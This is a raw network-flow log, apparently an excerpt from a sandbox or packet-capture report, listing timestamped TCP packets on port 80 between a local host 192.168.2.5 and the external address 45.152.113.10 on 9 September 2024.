Sep 9, 2024 18:45:06.721566916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721575022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721575975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721594095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721610069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721632004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721632004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721645117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721657991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721663952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721678972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721693993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721703053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721712112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721725941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721729994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721748114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721770048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.722901106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.722935915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.722951889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.722956896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.722976923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723006964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723026037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723042011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723059893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723063946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723092079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723102093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723167896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723193884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723206043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723211050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723238945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723239899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723251104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723268032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723277092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723285913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723303080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723320007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723329067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723330021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723339081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723364115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723370075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723381996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723407984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723422050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723429918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723457098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723531008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723560095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723577023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723598957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723613977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723678112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723728895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723746061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723778009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723798990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723830938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723846912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723867893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723870993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723885059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723900080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723918915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723933935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723951101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723965883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.723992109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723992109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.723992109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724052906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724067926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724082947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724123955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724138021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724139929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724155903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724169016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724169016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724175930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724185944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724194050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724194050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724210978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724231958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724231958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724255085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724281073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724298000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724313021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724319935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724329948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724333048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724348068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724370956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724386930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724402905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724417925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724433899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724442005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724462986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724484921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724534988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724550962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724566936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724584103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724590063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724612951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724628925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724709988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724726915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724742889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724750996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724761963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724767923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724778891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724781036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724798918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724816084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724817991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724817991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724833012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724833965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724845886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724877119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724940062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724956989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724972010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724977016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.724988937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.724994898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725006104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725006104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725023985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725028038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725039005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725042105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725059986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725060940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725091934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725091934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725193977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725210905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725228071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725245953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725253105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725264072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725274086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725281000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725296974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725300074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725308895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725332022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725348949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725446939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725462914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725477934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725491047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725496054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725500107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725513935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725516081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725526094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725538015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725550890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725555897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725573063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725591898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725604057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725620985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725636959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725642920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725667953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725667953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725734949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725752115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725766897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725771904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725784063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725800991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725804090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725817919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725817919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725817919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725835085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725847960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725852013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725864887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725868940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725883961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725891113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725899935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725900888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.725914955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.725941896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726119995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726138115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726154089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726165056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726170063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726175070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726187944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726191044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726207018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726222992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726239920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.726253986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726253986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726293087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.726293087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.813925982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.813960075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.813987017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814003944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814009905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814009905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814029932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814042091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814042091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814049959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814074039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814089060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814093113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814107895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814125061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814152956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814165115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814181089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814187050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814204931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814227104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814230919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814261913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814265013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814280987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.814290047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814307928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.814321041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815402985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815501928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815516949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815532923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815558910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815568924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815593958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815593958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815613031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815614939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815634012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815639019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815660000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815670967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815690994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815732002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815742016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815758944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815783024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815802097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.815808058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815824032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.815867901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816019058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816083908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816118956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816164017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816384077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816400051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816416025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816445112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816472054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816551924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816569090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816586018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816602945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816616058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816627026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816637039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816663027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816664934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816680908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816695929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816708088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816713095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816731930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816757917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816764116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816781998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816796064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816812992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816843987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816869020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816896915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816911936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816926956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816945076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816951990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816962004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.816971064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.816997051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817022085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817038059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817058086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817061901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817085028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817090988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817102909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817110062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817126989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817132950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817146063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817152977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817169905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817183018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817286968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817302942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817318916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817336082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817342997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817354918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817368984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817370892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817389965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817395926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817408085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817420006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817425013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817444086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817468882 CEST	49707	80	192.168.2.5	45.152.113.10
